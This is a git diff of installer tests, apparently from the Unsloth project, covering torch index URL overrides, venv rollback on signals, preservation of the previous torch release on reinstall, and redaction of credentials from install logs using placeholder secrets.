+        assert "GITHUB_TOKEN" not in step.get("env", {})
+        assert not {"releaseId", "tagName", "releaseName"} & step.get("with", {}).keys()
+
+    assert any(
+        step.get("uses", "").startswith("actions/upload-artifact@") for step in build["steps"]
+    )
+    assert any(
+        step.get("uses", "").startswith("actions/download-artifact@") for step in publish["steps"]
+    )
+    assert "build" in publish["needs"]
+
+    release_step = next(
+        step
+        for step in publish["steps"]
+        if step.get("name") == "Create or validate versioned release"
+    )
+    assert "gh release view" in release_step["run"]
+    assert "--json tagName,isDraft,isPrerelease" in release_step["run"]
diff --git a/tests/sh/test_get_torch_index_url.sh b/tests/sh/test_get_torch_index_url.sh
index 6656142625..23902097ef 100755
--- a/tests/sh/test_get_torch_index_url.sh
+++ b/tests/sh/test_get_torch_index_url.sh
@@ -23,6 +23,8 @@ _FAKE_SMI_DIR=$(mktemp -d)
     echo ""
     sed -n '/^_has_usable_nvidia_gpu()/,/^}/p' "$INSTALL_SH"
     echo ""
+    sed -n '/^_trim_index_path_slashes()/,/^}/p' "$INSTALL_SH"
+    echo ""
     sed -n '/^get_torch_index_url()/,/^}/p' "$INSTALL_SH"
 } | sed "s|/usr/bin/nvidia-smi|$_FAKE_SMI_DIR/nvidia-smi-absent|g" \
   > "$_FUNC_FILE"
@@ -379,6 +381,61 @@ _result=$(run_func "$_dir" " -1 ")
 assert_eq "CVD=' -1 ' hides NVIDIA -> cpu" "https://download.pytorch.org/whl/cpu" "$_result"
 rm -rf "$_dir"
 
+# --- explicit overrides (headless / container / CI; no GPU probing) ----------
+# 39) UNSLOTH_TORCH_INDEX_FAMILY pins the family with no GPU present (not the cpu fallback).
+_result=$(UNSLOTH_TORCH_INDEX_FAMILY="cu128" run_func "none")
+assert_eq "family override (no GPU) -> cu128" "https://download.pytorch.org/whl/cu128" "$_result"
+
+# 40) Family override beats real detection: an nvidia-smi 12.6 host still gets cu128
+#     (the Docker-build case -- builder sees the host driver but publishes a cu128 image).
+_dir=$(make_mock_smi "12.6")
+_result=$(UNSLOTH_TORCH_INDEX_FAMILY="cu128" run_func "$_dir")
+assert_eq "family override beats detected 12.6 -> cu128" "https://download.pytorch.org/whl/cu128" "$_result"
+rm -rf "$_dir"
+
+# 41) UNSLOTH_TORCH_INDEX_URL is used verbatim and wins over detection.
+_dir=$(make_mock_smi "12.6")
+_result=$(UNSLOTH_TORCH_INDEX_URL="https://mirror.example.com/whl/cu999" run_func "$_dir")
+assert_eq "url override beats detection -> verbatim" "https://mirror.example.com/whl/cu999" "$_result"
+rm -rf "$_dir"
+
+# 42) Family override is appended to UNSLOTH_PYTORCH_MIRROR (mirror still honoured).
+_result=$(UNSLOTH_PYTORCH_MIRROR="https://mirror.example.com/whl" UNSLOTH_TORCH_INDEX_FAMILY="cu128" run_func "none")
+assert_eq "mirror + family override -> mirror/cu128" "https://mirror.example.com/whl/cu128" "$_result"
+
+# 43) Trailing slash in UNSLOTH_TORCH_INDEX_URL is stripped.
+_result=$(UNSLOTH_TORCH_INDEX_URL="https://mirror.example.com/whl/cu128/" run_func "none")
+assert_eq "url override trailing slash stripped" "https://mirror.example.com/whl/cu128" "$_result"
+
+# 44) URL override takes precedence over family override.
+_result=$(UNSLOTH_TORCH_INDEX_URL="https://mirror.example.com/whl/cu130" UNSLOTH_TORCH_INDEX_FAMILY="cu128" run_func "none")
+assert_eq "url override beats family override -> url" "https://mirror.example.com/whl/cu130" "$_result"
+
+# 45) An empty override is ignored (falls through to normal detection).
+_result=$(UNSLOTH_TORCH_INDEX_FAMILY="" UNSLOTH_TORCH_INDEX_URL="" run_func "none")
+assert_eq "empty overrides ignored -> detected cpu" "https://download.pytorch.org/whl/cpu" "$_result"
+
+# 46) ALL trailing slashes are stripped from a URL override (not just one).
+_result=$(UNSLOTH_TORCH_INDEX_URL="https://mirror.example.com/whl/cu128///" run_func "none")
+assert_eq "url override double slash stripped" "https://mirror.example.com/whl/cu128" "$_result"
+
+# 47) Leading and trailing slashes stripped from a family override.
+_result=$(UNSLOTH_TORCH_INDEX_FAMILY="//cu128//" run_func "none")
+assert_eq "family override slashes stripped" "https://download.pytorch.org/whl/cu128" "$_result"
+
+# 48) A ?query token that ends in "/" is PRESERVED: only PATH slashes are trimmed, so a
+# base64 token ending in "/" is not corrupted (path-only trim, not whole-URL rstrip).
+_result=$(UNSLOTH_TORCH_INDEX_URL="https://mirror.example.com/whl/cu128?token=ab12cd/" run_func "none")
+assert_eq "url override preserves query token slash" "https://mirror.example.com/whl/cu128?token=ab12cd/" "$_result"
+
+# 49) Double PATH slash before a query is collapsed while the query survives intact.
+_result=$(UNSLOTH_TORCH_INDEX_URL="https://mirror.example.com/whl/cu128//?token=ab12cd/" run_func "none")
+assert_eq "url override path slash trimmed, query kept" "https://mirror.example.com/whl/cu128?token=ab12cd/" "$_result"
+
+# 50) A #fragment ending in "/" is likewise preserved.
+_result=$(UNSLOTH_TORCH_INDEX_URL="https://mirror.example.com/whl/cu128#anchor/" run_func "none")
+assert_eq "url override preserves fragment slash" "https://mirror.example.com/whl/cu128#anchor/" "$_result"
+
 rm -f "$_FUNC_FILE"
 rm -rf "$_FAKE_SMI_DIR"
 rm -rf "$_TOOLS_DIR"
diff --git a/tests/sh/test_install_rollback_lifecycle.sh b/tests/sh/test_install_rollback_lifecycle.sh
new file mode 100644
index 0000000000..d1ccae8e19
--- /dev/null
+++ b/tests/sh/test_install_rollback_lifecycle.sh
@@ -0,0 +1,202 @@
+#!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# Exercises install.sh's real rollback helpers without downloading the Studio stack.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+INSTALL_SH="$SCRIPT_DIR/../../install.sh"
+INSTALL_PS1="$SCRIPT_DIR/../../install.ps1"
+PASS=0
+FAIL=0
+
+ok()  { echo "  PASS: $1"; PASS=$((PASS + 1)); }
+bad() { echo "  FAIL: $1"; FAIL=$((FAIL + 1)); }
+
+ROLLBACK_BLOCK=$(sed -n '/^_VENV_ROLLBACK_DIR=""/,/^trap '\''_on_install_signal 143'\'' TERM$/p' "$INSTALL_SH")
+if ! printf '%s\n' "$ROLLBACK_BLOCK" | grep -q '^_on_install_signal() {'; then
+    echo "  FAIL: could not extract rollback lifecycle block from install.sh"
+    exit 1
+fi
+
+WORK=$(mktemp -d)
+trap 'rm -rf "$WORK"' EXIT
+
+run_signal_case() {
+    _signal="$1"
+    _expected_status="$2"
+    _case_dir="$WORK/signal-$_signal"
+    mkdir -p "$_case_dir/unsloth_studio"
+    printf 'old\n' > "$_case_dir/unsloth_studio/generation"
+    _harness="$_case_dir/harness.sh"
+    {
+        printf '%s\n' 'set -e'
+        printf '%s\n' 'substep() { :; }'
+        printf '%s\n' 'C_WARN=""'
+        printf "STUDIO_HOME='%s'\n" "$_case_dir"
+        printf "VENV_DIR='%s/unsloth_studio'\n" "$_case_dir"
+        printf '%s\n' "$ROLLBACK_BLOCK"
+        printf '%s\n' '_start_studio_venv_replacement "$VENV_DIR"'
+        printf '%s\n' 'mkdir -p "$VENV_DIR"'
+        printf '%s\n' 'printf "partial\n" > "$VENV_DIR/generation"'
+        printf 'kill -%s $$\n' "$_signal"
+        printf '%s\n' 'exit 99'
+    } > "$_harness"
+
+    set +e
+    dash "$_harness" >/dev/null 2>&1
+    _status=$?
+    set -e
+    if [ "$_status" = "$_expected_status" ]; then
+        ok "dash $_signal exits with $_expected_status"
+    else
+        bad "dash $_signal exits with $_expected_status (got $_status)"
+    fi
+    if [ "$(cat "$_case_dir/unsloth_studio/generation" 2>/dev/null)" = "old" ]; then
+        ok "dash $_signal restores the previous environment"
+    else
+        bad "dash $_signal did not restore the previous environment"
+    fi
+    if ! find "$_case_dir" -maxdepth 1 -name 'unsloth_studio.rollback.*' -print -quit | grep -q .; then
+        ok "dash $_signal leaves no rollback copy"
+    else
+        bad "dash $_signal left a rollback copy"
+    fi
+}
+
+echo "=== install.sh signal rollback ==="
+run_signal_case INT 130
+run_signal_case TERM 143
+run_signal_case HUP 129
+
+echo "=== install.sh transition boundaries ==="
+START_BOUNDARY_DIR="$WORK/start-boundary"
+mkdir -p "$START_BOUNDARY_DIR/unsloth_studio"
+printf 'old\n' > "$START_BOUNDARY_DIR/unsloth_studio/generation"
+START_BOUNDARY_HARNESS="$START_BOUNDARY_DIR/harness.sh"
+{
+    printf '%s\n' 'set -e'
+    printf '%s\n' 'substep() { :; }'
+    printf '%s\n' 'C_WARN=""'
+    printf "STUDIO_HOME='%s'\n" "$START_BOUNDARY_DIR"
+    printf "VENV_DIR='%s/unsloth_studio'\n" "$START_BOUNDARY_DIR"
+    printf '%s\n' "$ROLLBACK_BLOCK"
+    printf '%s\n' 'mv() { command mv "$@"; kill -TERM $$; }'
+    printf '%s\n' '_start_studio_venv_replacement "$VENV_DIR"'
+} > "$START_BOUNDARY_HARNESS"
+set +e
+dash "$START_BOUNDARY_HARNESS" >/dev/null 2>&1
+_start_boundary_status=$?
+set -e
+if [ "$_start_boundary_status" -eq 143 ] \
+   && [ "$(cat "$START_BOUNDARY_DIR/unsloth_studio/generation" 2>/dev/null)" = "old" ]; then
+    ok "signal immediately after rollback rename restores the old environment"
+else
+    bad "rollback state was not published before rename"
+fi
+
+COMMIT_BOUNDARY_DIR="$WORK/commit-boundary"
+mkdir -p "$COMMIT_BOUNDARY_DIR/unsloth_studio"
+printf 'old\n' > "$COMMIT_BOUNDARY_DIR/unsloth_studio/generation"
+COMMIT_BOUNDARY_HARNESS="$COMMIT_BOUNDARY_DIR/harness.sh"
+{
+    printf '%s\n' 'set -e'
+    printf '%s\n' 'substep() { :; }'
+    printf '%s\n' 'C_WARN=""'
+    printf "STUDIO_HOME='%s'\n" "$COMMIT_BOUNDARY_DIR"
+    printf "VENV_DIR='%s/unsloth_studio'\n" "$COMMIT_BOUNDARY_DIR"
+    printf '%s\n' "$ROLLBACK_BLOCK"
+    printf '%s\n' '_start_studio_venv_replacement "$VENV_DIR"'
+    printf '%s\n' 'mkdir -p "$VENV_DIR"'
+    printf '%s\n' 'printf "new\n" > "$VENV_DIR/generation"'
+    printf '%s\n' 'rm() { kill -TERM $$; }'
+    printf '%s\n' '_commit_studio_venv_replacement'
+} > "$COMMIT_BOUNDARY_HARNESS"
+set +e
+dash "$COMMIT_BOUNDARY_HARNESS" >/dev/null 2>&1
+_commit_boundary_status=$?
+set -e
+if [ "$_commit_boundary_status" -eq 143 ] \
+   && [ "$(cat "$COMMIT_BOUNDARY_DIR/unsloth_studio/generation" 2>/dev/null)" = "new" ]; then
+    ok "signal during committed-backup deletion keeps the new environment"
+else
+    bad "signal during committed-backup deletion restored a partial backup"
+fi
+
+echo "=== install.sh successful cleanup ==="
+PRUNE_DIR="$WORK/prune"
+mkdir -p "$PRUNE_DIR/unsloth_studio"
+printf 'old\n' > "$PRUNE_DIR/unsloth_studio/generation"
+PRUNE_HARNESS="$PRUNE_DIR/harness.sh"
+{
+    printf '%s\n' 'set -e'
+    printf '%s\n' 'substep() { :; }'
+    printf '%s\n' 'C_WARN=""'
+    printf "STUDIO_HOME='%s'\n" "$PRUNE_DIR"
+    printf "VENV_DIR='%s/unsloth_studio'\n" "$PRUNE_DIR"
+    printf '%s\n' "$ROLLBACK_BLOCK"
+    printf '%s\n' '_start_studio_venv_replacement "$VENV_DIR"'
+    printf '%s\n' 'mkdir -p "$VENV_DIR"'
+    printf '%s\n' 'printf "new\n" > "$VENV_DIR/generation"'
+    printf '%s\n' 'mkdir "$STUDIO_HOME/unsloth_studio.rollback.20000101000000.999999999"'
+    printf '%s\n' 'mkdir "$STUDIO_HOME/unsloth_studio.rollback.20000101000001.$$"'
+    printf '%s\n' 'mkdir "$STUDIO_HOME/unsloth_studio.rollback.user-data"'
+    printf '%s\n' 'mkdir "$STUDIO_HOME/outside"'
+    printf '%s\n' 'ln -s "$STUDIO_HOME/outside" "$STUDIO_HOME/unsloth_studio.rollback.20000101000002.999999998"'
+    printf '%s\n' '_commit_studio_venv_replacement'
+} > "$PRUNE_HARNESS"
+
+sh "$PRUNE_HARNESS" >/dev/null 2>&1
+if [ "$(cat "$PRUNE_DIR/unsloth_studio/generation" 2>/dev/null)" = "new" ]; then
+    ok "successful replacement keeps the new environment"
+else
+    bad "successful replacement lost the new environment"
+fi
+if [ ! -d "$PRUNE_DIR/unsloth_studio.rollback.20000101000000.999999999" ]; then
+    ok "successful install removes an orphan from a dead PID"
+else
+    bad "successful install left an orphan from a dead PID"
+fi
+_active_count=$(find "$PRUNE_DIR" -maxdepth 1 -type d -name 'unsloth_studio.rollback.20000101000001.*' | wc -l)
+if [ "$_active_count" -eq 1 ]; then
+    ok "successful install preserves a concurrent installer's rollback"
+else
+    bad "successful install removed a concurrent installer's rollback"
+fi
+if [ -d "$PRUNE_DIR/unsloth_studio.rollback.user-data" ]; then
+    ok "stale cleanup preserves names outside the generated format"
+else
+    bad "stale cleanup removed a non-generated rollback name"
+fi
+if [ -L "$PRUNE_DIR/unsloth_studio.rollback.20000101000002.999999998" ] \
+   && [ -d "$PRUNE_DIR/outside" ]; then
+    ok "stale cleanup does not follow rollback symlinks"
+else
+    bad "stale cleanup mutated a rollback symlink target"
+fi
+
+echo "=== install.ps1 rollback wiring ==="
+if grep -q '^    function Remove-StaleStudioVenvRollbacks {' "$INSTALL_PS1" \
+   && grep -q '^    Remove-StaleStudioVenvRollbacks$' "$INSTALL_PS1"; then
+    ok "Windows installer prunes stale rollbacks after success"
+else
+    bad "Windows installer does not wire stale rollback cleanup"
+fi
+if grep -q '^    } finally {$' "$INSTALL_PS1" \
+   && grep -A3 '^    } finally {$' "$INSTALL_PS1" | grep -q 'Restore-StudioVenvRollback'; then
+    ok "Windows replacement is protected by finally"
+else
+    bad "Windows replacement lacks finally rollback"
+fi
+if grep -A18 '^    function Remove-StudioVenvTreeWithRetry {' "$INSTALL_PS1" \
+   | grep -q 'ErrorAction Stop'; then
+    ok "Windows rollback deletion failures are observable and retried"
+else
+    bad "Windows rollback deletion still hides failures"
+fi
+
+echo ""
+echo "  PASS: $PASS"
+echo "  FAIL: $FAIL"
+[ "$FAIL" -eq 0 ] || exit 1
+echo "ALL PASSED"
diff --git a/tests/sh/test_mac_intel_compat.sh b/tests/sh/test_mac_intel_compat.sh
index 3c3bbfaa5f..8a0ff4b641 100644
--- a/tests/sh/test_mac_intel_compat.sh
+++ b/tests/sh/test_mac_intel_compat.sh
@@ -312,7 +312,7 @@ if [ "$SKIP_TORCH" = true ]; then
 else
     echo "==> Installing PyTorch ($TORCH_INDEX_URL)..."
     uv pip install --python "$_VENV_PY" "torch>=2.4,<2.11.0" torchvision torchaudio \
-        --index-url "$TORCH_INDEX_URL"
+        --default-index "$TORCH_INDEX_URL"
 fi
 TORCH_EOF
 
diff --git a/tests/sh/test_previous_torch_pin.sh b/tests/sh/test_previous_torch_pin.sh
new file mode 100644
index 0000000000..f910affc2f
--- /dev/null
+++ b/tests/sh/test_previous_torch_pin.sh
@@ -0,0 +1,137 @@
+#!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# Unit tests for install.sh's _previous_torch_pin, which keeps the previous
+# venv's torch RELEASE on a re-run instead of moving the user to a newer one.
+# The release is kept regardless of the old build's flavor tag (PyPI bare,
+# +cuXXX, +rocm, +cpu): the pin installs from the freshly chosen index, so the
+# flavor follows the machine while the release follows the user. Per-leaf
+# windows still win (rocm7.2 / Strix floors, out-of-window manual installs).
+# Helpers are extracted from install.sh and sourced.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+INSTALL_SH="$SCRIPT_DIR/../../install.sh"
+PASS=0
+FAIL=0
+
+# Extract _previous_torch_pin and its dependency _torch_release_in_window.
+_FUNC_FILE=$(mktemp)
+{
+    sed -n '/^_torch_release_in_window()/,/^}/p' "$INSTALL_SH"
+    echo ""
+    sed -n '/^_previous_torch_pin()/,/^}/p' "$INSTALL_SH"
+} > "$_FUNC_FILE"
+# shellcheck disable=SC1090
+. "$_FUNC_FILE"
+rm -f "$_FUNC_FILE"
+
+assert_eq() {
+    _label="$1"; _expected="$2"; _actual="$3"
+    if [ "$_actual" = "$_expected" ]; then
+        echo "  PASS: $_label"; PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label (expected '$_expected', got '$_actual')"; FAIL=$((FAIL + 1))
+    fi
+}
+
+unset UNSLOTH_TORCH_UPGRADE
+
+echo "=== _previous_torch_pin: in-window releases are kept, any flavor ==="
+assert_eq "cu126 wheel"                  "torch==2.10.0" "$(_previous_torch_pin '2.10.0+cu126' 'torch>=2.4,<2.12.0')"
+assert_eq "cu130 wheel"                  "torch==2.10.0" "$(_previous_torch_pin '2.10.0+cu130' 'torch>=2.4,<2.12.0')"
+assert_eq "cpu wheel"                    "torch==2.10.0" "$(_previous_torch_pin '2.10.0+cpu' 'torch>=2.4,<2.12.0')"
+assert_eq "PyPI bare version (CUDA build on Linux)" "torch==2.10.0" "$(_previous_torch_pin '2.10.0' 'torch>=2.4,<2.12.0')"
+assert_eq "rocm wheel"                   "torch==2.10.0" "$(_previous_torch_pin '2.10.0+rocm6.4' 'torch>=2.4,<2.11.0')"
+assert_eq "rocm three-component tag"     "torch==2.9.1"  "$(_previous_torch_pin '2.9.1+rocm7.2.1' 'torch>=2.4,<2.12.0')"
+assert_eq "Intel xpu wheel"              "torch==2.9.0"  "$(_previous_torch_pin '2.9.0+xpu' 'torch>=2.4,<2.12.0')"
+assert_eq "local suffix stripped"        "torch==2.9.1"  "$(_previous_torch_pin '2.9.1+cu128' 'torch>=2.4,<2.12.0')"
+
+echo "=== _previous_torch_pin: raised floors reject older releases ==="
+# rocm7.2 / Strix gfx leaves raise TORCH_CONSTRAINT to >=2.11.0 BEFORE the pin
+# is evaluated, so an old 2.10 is out of window there and the floor wins.
+assert_eq "old 2.10 vs rocm7.2 floor"    "" "$(_previous_torch_pin '2.10.0+rocm7.1' 'torch>=2.11.0,<2.12.0')"
+assert_eq "2.11 passes the rocm7.2 floor" "torch==2.11.0" "$(_previous_torch_pin '2.11.0+rocm7.2' 'torch>=2.11.0,<2.12.0')"
+
+echo "=== _previous_torch_pin: probe noise never becomes a pin ==="
+assert_eq "empty version"                "" "$(_previous_torch_pin '' 'torch>=2.4,<2.12.0')"
+assert_eq "garbage version"              "" "$(_previous_torch_pin 'not-a-version' 'torch>=2.4,<2.12.0')"
+assert_eq "traceback fragment"           "" "$(_previous_torch_pin "ModuleNotFoundError: No module named 'torch'" 'torch>=2.4,<2.12.0')"
+
+echo "=== _previous_torch_pin: nightly / dev / source builds never pin ==="
+# No stable index carries these, so pinning would print "keeping it" and then
+# burn a doomed resolve before the range fallback rescues the install.
+assert_eq "nightly dev build"            "" "$(_previous_torch_pin '2.11.0.dev20250704+cu128' 'torch>=2.4,<2.12.0')"
+assert_eq "source build a0 tag"          "" "$(_previous_torch_pin '2.9.0a0+gitabc1234' 'torch>=2.4,<2.12.0')"
+assert_eq "release candidate"            "" "$(_previous_torch_pin '2.11.0rc1+cu130' 'torch>=2.4,<2.12.0')"
+
+echo "=== _previous_torch_pin: out-of-window releases never pin ==="
+assert_eq "2.3.x below the cu floor"     "" "$(_previous_torch_pin '2.3.1+cu118' 'torch>=2.4,<2.12.0')"
+assert_eq "2.12.x above the cu ceiling"  "" "$(_previous_torch_pin '2.12.0+cu130' 'torch>=2.4,<2.12.0')"
+assert_eq "floor boundary 2.4.0 kept"    "torch==2.4.0"  "$(_previous_torch_pin '2.4.0+cu126' 'torch>=2.4,<2.12.0')"
+assert_eq "ceiling-adjacent 2.11.x kept" "torch==2.11.1" "$(_previous_torch_pin '2.11.1+cu130' 'torch>=2.4,<2.12.0')"
+assert_eq "cpu window excludes 2.11.x"   "" "$(_previous_torch_pin '2.11.0+cpu' 'torch>=2.4,<2.11.0')"
+assert_eq "mac floor excludes 2.5.x"     "" "$(_previous_torch_pin '2.5.1' 'torch>=2.6,<2.11.0')"
+assert_eq "malformed window never pins"  "" "$(_previous_torch_pin '2.10.0+cu126' 'torch')"
+assert_eq "empty window never pins"      "" "$(_previous_torch_pin '2.10.0+cu126' '')"
+
+echo "=== _torch_release_in_window ==="
+assert_eq "in window"            "yes" "$(_torch_release_in_window '2.10.0' 'torch>=2.4,<2.12.0')"
+assert_eq "at floor"             "yes" "$(_torch_release_in_window '2.4.0' 'torch>=2.4,<2.12.0')"
+assert_eq "below floor"          "no"  "$(_torch_release_in_window '2.3.1' 'torch>=2.4,<2.12.0')"
+assert_eq "at ceiling"           "no"  "$(_torch_release_in_window '2.12.0' 'torch>=2.4,<2.12.0')"
+assert_eq "next major"           "no"  "$(_torch_release_in_window '3.0.0' 'torch>=2.4,<2.12.0')"
+assert_eq "patch-level floor"    "yes" "$(_torch_release_in_window '2.11.5' 'torch>=2.11.0,<2.12.0')"
+assert_eq "no ceiling -> no"     "no"  "$(_torch_release_in_window '2.10.0' 'torch>=2.4')"
+assert_eq "garbage minor -> no"  "no"  "$(_torch_release_in_window '2.x' 'torch>=2.4,<2.12.0')"
+
+echo "=== _previous_torch_pin: UNSLOTH_TORCH_UPGRADE=1 opts out ==="
+assert_eq "upgrade env set"    "" "$(UNSLOTH_TORCH_UPGRADE=1 _previous_torch_pin '2.10.0+cu126' 'torch>=2.4,<2.12.0')"
+assert_eq "upgrade env 0"      "torch==2.10.0" "$(UNSLOTH_TORCH_UPGRADE=0 _previous_torch_pin '2.10.0+cu126' 'torch>=2.4,<2.12.0')"
+
+echo "=== install.sh wiring ==="
+# The probe must run against the OLD venv, before it is moved aside for rollback.
+_probe_line=$(grep -n '_PREV_TORCH_VER=\$(' "$INSTALL_SH" | head -1 | cut -d: -f1)
+_move_line=$(grep -n '_start_studio_venv_replacement "\$VENV_DIR"' "$INSTALL_SH" | head -1 | cut -d: -f1)
+assert_eq "probe exists"                  "yes" "$([ -n "$_probe_line" ] && echo yes)"
+assert_eq "probe before venv replacement" "yes" "$([ -n "$_probe_line" ] && [ -n "$_move_line" ] && [ "$_probe_line" -lt "$_move_line" ] && echo yes)"
+# The pin must be evaluated AFTER the last index/constraint decision (the Strix
+# reroute raises the floor), so a raised floor rejects an older kept release.
+_pin_line=$(grep -n '_prev_pin=\$(_previous_torch_pin' "$INSTALL_SH" | head -1 | cut -d: -f1)
+_strix_line=$(grep -n 'Strix Halo / Strix Point:' "$INSTALL_SH" | head -1 | cut -d: -f1)
+assert_eq "pin evaluated after the Strix reroute" "yes" "$([ -n "$_pin_line" ] && [ -n "$_strix_line" ] && [ "$_pin_line" -gt "$_strix_line" ] && echo yes)"
+# A kept release that vanished from the index must fall back to the supported range.
+assert_eq "resolve-failure fallback wired" "yes" "$(grep -q 'TORCH_CONSTRAINT="\$_PREV_FALLBACK_CONSTRAINT"' "$INSTALL_SH" && echo yes)"
+assert_eq "pin gated on SKIP_TORCH"        "yes" "$(grep -q 'if \[ "\$SKIP_TORCH" = false \]; then' "$INSTALL_SH" && echo yes)"
+# Every --default-index torch install path must go through the kept-release
+# helper (definition + default path + three ROCm-index fallbacks + two ROCm
+# repairs + the flavor repair), so a pinned release missing from the index
+# never aborts a rerun.
+_helper_uses=$(grep -c '_install_torch_default_index' "$INSTALL_SH")
+assert_eq "kept-release helper used by all default-index paths" "yes" "$([ "$_helper_uses" -ge 8 ] && echo yes)"
+_repair_uses=$(grep -c '_install_torch_default_index --force-reinstall' "$INSTALL_SH")
+assert_eq "ROCm repairs routed through the kept-release helper" "yes" "$([ "$_repair_uses" -ge 2 ] && echo yes)"
+# The wrong-flavor repair must use the helper too (it runs under set -e, so a
+# direct uv call with an unresolvable pin would abort the whole installer).
+assert_eq "flavor repair routed through the kept-release helper" "yes" "$(grep -q '_install_torch_default_index \\' "$INSTALL_SH" && grep -q -- '--reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio' "$INSTALL_SH" && echo yes)"
+# The kept-release install must pair the companions with the kept minor:
+# torchaudio no longer exact-pins torch, so unconstrained it resolves a newer
+# mismatched build (verified: torch==2.9.0 pulled torchaudio 2.11.0 on cu130).
+assert_eq "kept-release install pairs torchvision/torchaudio to the kept minor" "yes" "$(grep -q 'torchaudio==2.\${_itdi_minor}.\*' "$INSTALL_SH" && grep -q 'torchvision==0.\$((_itdi_minor + 15)).\*' "$INSTALL_SH" && echo yes)"
+# The Radeon direct-wheel path must also honor the pin: an exact-first kept-trio
+# attempt (exact patch, else the kept minor's newest patch, with paired
+# vision/audio) runs BEFORE the newest-trio search, and the newest-trio search
+# only runs when that attempt did not produce a match, so a kept release can
+# neither drift to another patch/minor nor be undercut by the gap search.
+_radeon_kept_line=$(grep -n '_kept_torch=\$(_pick_radeon_wheel "torch" *"\${_prev_kept_base}"' "$INSTALL_SH" | head -1 | cut -d: -f1)
+_radeon_loop_line=$(grep -n 'Loop downwards to find the first complete matching trio' "$INSTALL_SH" | head -1 | cut -d: -f1)
+assert_eq "Radeon kept-trio attempt before the newest-trio search" "yes" "$([ -n "$_radeon_kept_line" ] && [ -n "$_radeon_loop_line" ] && [ "$_radeon_kept_line" -lt "$_radeon_loop_line" ] && echo yes)"
+assert_eq "Radeon newest-trio search gated on no kept match" "yes" "$(grep -q 'if \[ "\$_radeon_versions_match" != true \] &&' "$INSTALL_SH" && echo yes)"
+assert_eq "Radeon kept-trio gap falls back with a warning" "yes" "$(grep -q 'lacks a complete wheel set for kept' "$INSTALL_SH" && echo yes)"
+
+echo ""
+if [ "$FAIL" -gt 0 ]; then
+    echo "$FAIL check(s) FAILED"
+    exit 1
+fi
+echo "All $PASS checks passed"
diff --git a/tests/sh/test_redact_install_output.sh b/tests/sh/test_redact_install_output.sh
new file mode 100755
index 0000000000..0f10122aea
--- /dev/null
+++ b/tests/sh/test_redact_install_output.sh
@@ -0,0 +1,89 @@
+#!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# Unit tests for install.sh's _redact_install_output helper. uv/pip failure text embeds the
+# failing --index-url verbatim, so a captured install log dumped on error can leak a
+# user:token@ or ?token= secret. The helper redacts both before printing. Mirrors
+# _redact_install_output (install_python_stack.py) / Redact-InstallOutput (install.ps1 /
+# setup.ps1).
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+INSTALL_SH="$SCRIPT_DIR/../../install.sh"
+PASS=0
+FAIL=0
+
+_FUNC_FILE=$(mktemp)
+sed -n '/^_redact_install_output()/,/^}/p' "$INSTALL_SH" > "$_FUNC_FILE"
+# shellcheck disable=SC1090
+. "$_FUNC_FILE"
+rm -f "$_FUNC_FILE"
+
+assert_eq() {
+    _label="$1"; _expected="$2"; _actual="$3"
+    if [ "$_actual" = "$_expected" ]; then
+        echo "  PASS: $_label"; PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label (expected '$_expected', got '$_actual')"; FAIL=$((FAIL + 1))
+    fi
+}
+
+# Redact from a file (the actual call site passes a captured-log tempfile).
+redact_str() {
+    _rs_tmp=$(mktemp)
+    printf '%s\n' "$1" > "$_rs_tmp"
+    _rs_out=$(_redact_install_output "$_rs_tmp")
+    rm -f "$_rs_tmp"
+    printf '%s' "$_rs_out"
+}
+
+echo "=== _redact_install_output ==="
+assert_eq "userinfo user:token@ redacted" \
+    "ERROR: failed https://<redacted>@download.pytorch.org/whl/cu128" \
+    "$(redact_str 'ERROR: failed https://alice:s3cr3t@download.pytorch.org/whl/cu128')"
+
+assert_eq "bare-token@ userinfo redacted" \
+    "fetch https://<redacted>@host/whl/cu128 failed" \
+    "$(redact_str 'fetch https://ghp_deadbeef@host/whl/cu128 failed')"
+
+assert_eq "single ?token= query redacted" \
+    "url https://host/whl/cu128?token=<redacted> unreachable" \
+    "$(redact_str 'url https://host/whl/cu128?token=abcd1234 unreachable')"
+
+assert_eq "multiple query values redacted" \
+    "https://host/whl/cu128?token=<redacted>&channel=<redacted>" \
+    "$(redact_str 'https://host/whl/cu128?token=abcd1234&channel=beta')"
+
+assert_eq "http (not https) userinfo redacted" \
+    "http://<redacted>@host/simple" \
+    "$(redact_str 'http://u:p@host/simple')"
+
+assert_eq "fragment token redacted" \
+    "ERROR: could not fetch https://mirror.local/whl/cu128#<redacted> (403)" \
+    "$(redact_str 'ERROR: could not fetch https://mirror.local/whl/cu128#token=SECRET123 (403)')"
+
+assert_eq "query and fragment both redacted" \
+    "https://host/whl/cu128?token=<redacted>#<redacted> done" \
+    "$(redact_str 'https://host/whl/cu128?token=abc#sig=xyz done')"
+
+# Non-secret text is untouched (no false positives on ordinary log lines).
+assert_eq "plain line untouched" \
+    "Resolved 42 packages in 1.2s" \
+    "$(redact_str 'Resolved 42 packages in 1.2s')"
+assert_eq "plain url without creds untouched" \
+    "downloading https://download.pytorch.org/whl/cu128/torch-2.8.0.whl" \
+    "$(redact_str 'downloading https://download.pytorch.org/whl/cu128/torch-2.8.0.whl')"
+assert_eq "bare hash comment untouched" \
+    "# retrying with --no-cache-dir" \
+    "$(redact_str '# retrying with --no-cache-dir')"
+
+# Regression guard: no secret substring survives.
+_leak=$(redact_str 'https://alice:s3cr3t@host/whl/cu128?token=SUPERSECRET#frag=ALSOSECRET')
+case "$_leak" in
+    *s3cr3t*|*SUPERSECRET*|*ALSOSECRET*) assert_eq "no secret leak" "clean" "leaked:$_leak" ;;
+    *)                                   assert_eq "no secret leak" "clean" "clean" ;;
+esac
+
+echo ""
+echo "Results: $PASS passed, $FAIL failed"
+[ "$FAIL" -eq 0 ]
